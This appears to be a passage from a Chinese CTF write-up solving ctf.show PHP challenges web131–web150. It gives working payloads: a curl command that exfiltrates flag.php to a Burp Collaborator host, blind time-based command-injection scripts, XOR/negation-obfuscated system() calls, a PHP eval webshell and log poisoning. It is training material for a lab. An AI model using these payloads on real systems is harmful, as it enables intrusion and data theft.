所有只需要在100万后加上’36Dctfshow’即可

exp:

import requests
url="http://12e051c4-45e3-4d37-84a2-2438e30e44b5.challenge.ctf.show/"
data={'f':'very'*250000+'36Dctfshow' }
r=requests.post(url,data=data)
print(r.text)

web132

打开题目,一个网页,扫一下发现了robots.txt,看了以后存在/admin/说是

打开以后才是题目

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

mt_sand(),伪随机,之前说过,但这题其实用不到这个

因为||的优先级是大于&&,所以只需要满足后面username的条件和下面code的条件即可

payload:

?password=&username=admin&code=admin

web133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}

禁了一些常规命令,将传入F的命令,截取前六位,进行执行,但六位太短了,根本不够

先看解决方法

?F=`$F` ;xxxxx

这样截取前六位,`$F` ; 执行这六位,相当于再次执行了F本身,而这本事就是一个无意义的,只会接着执行;后面的命令

接着说,正常的好多命令是用不了的

这里用到了Burpsuite的一个功能Collaborator

相当于一个接收,我们将flag.php作为一个包,发送到bp这里,bp用来接收

payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://2jmde1dk75uhpol8oml2jk7kabg34tsi.oastify.com

后面的链接从bp中复制

对 payload 的一些解释:

-F 为带文件的形式发送 post 请求;

其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;

相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。

web134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

要求,不能使用GET,POST方式,要对key1,key2赋值,得到flag

这题主要关键的地方在于

@parse_str($_SERVER['QUERY_STRING']); 
#解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。
extract($_POST);
#将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2

payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

抽象,非预期解有很多

我直接

payload:

?F=`$F` ; cp flag.php 1.txt

web136

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

前置一个检测函数,后面出现了exec(),与之前的可能有所不同,system()的结果会在当前反馈,翻exec()就纯执行,看不到反馈

这时需要将结果复制到别处,我们通过访问或下载来得到反馈

payload:

?c=ls /|tee 1

之后访问/1,下载文件,记事本打开,查看结果,就这样执行RCE,最后得到flag

web137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

第一次接触类

这里制作简单了解

直接调用ctfshow类中的getFlag方法即可得到flag

payload:

ctfshow=ctfshow::getFlag

web138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);


相比上一题,增加了

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

post中传ctfshow会直接结束

采用数组方法

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

这样传入后,就会出现

call_user_func($_POST['ctfshow']); -> call_user_func(ctfshow,getFlag);

可以执行ctfshow类中的调用

web139

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

跟web136看着一样,但不能那样做,没有了写入文件的权限

运用脚本,使用时间盲注,爆破出flag

import requests
import time
import string

str = string.ascii_letters + string.digits + '_~'
result = ""

for i in range(1, 10): # 行
key = 0
for j in range(1, 15): # 列
if key == 1:
break
for n in str:
# awk 'NR=={0}'逐行输出获取
# cut -c {1} 截取单个字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# print(payload)
url = "http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '~':
key = 1
result += " "

print("Final result:", result)
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

web140

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}


弱比较,只要将code构造出一个0即可

payload:

f1=usleep&f2=usleep #usleep()无返回值,null传入intval()会变成0
f1=md5&f2=phpinfo
f1=system&f2=system

web142

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

传入一个整数,sleep d秒后,打开flag.php

直接v1=0即可

payload:

?v1=0

web141,web143-146

web141

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

要求 v1 和 v2 是数字,检查 v3 是否只包含非单词字符(非字母、非数字、非下划线),且长度大于零,将 $v1 和 $v2 作为操作数,$v3 作为操作符,构建一个表达式,并使用 eval() 执行它,最后输出表达式及其结果。

在 php 里数字和一些命令进行运算后也是可以让命令执行的,比如 1-phpinfo(); 是可以执行 phpinfo() 命令的,那么我们这里可能构造出命令的地方就是在 v3 了,再在 v3 前后加上运算符即可,这里采用取反的方法:

<?php
echo urlencode(~'system');
echo "\n".urlencode(~'ls');
?>

构造system(‘ls’)

payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

同理,用脚本构造system(‘tac flag.php’)

payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)-

web143

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

相比上一题,多过滤了一些

采取异或

# -*- coding: utf-8 -*-

def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output

while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)

rce.txt生成代码:

<?php

//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则

之后得到

[*] 构造的Payload: ("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

同理,这样构造语句实现rce

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

位置有所不同,检查 $v1 是否是数字,并且 $v3 是否是单个字符(通过调用 check($v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。把构造的payload传入v3

payload:

?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-

web145

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

取反payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

禁用了*,用|替换即可

payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

通过 create_function 函数来实现命令执行

$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123

相当于

function f($a) {
echo $a . "123";
}

f('Hello'); // 输出 Hello123

creat_function存在注入漏洞

payload:

?show=}system('ls');//
ctf=\create_function

web148

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

采用异或

payload:

/?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"}^`}`{%7f^``%3b`")();

web149

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

直接在index.php里写马,就删不掉了

payload:

?ctf=index.php
show=<?php eval($_POST[1]);?>

后续执行rce

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

先让isVIP满足条件

?isVIP=1

include使用文件包含漏洞中的日志包含

bp抓包,ua写马即可

payload:

?isVIP=1
ctf=/var/log/nginx/access.log

UA:

user-agent:<?php system('tac flag.php')>

web150_plus

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

调出phpinfo即可

payload:

...CTFSHOW...=phpinfo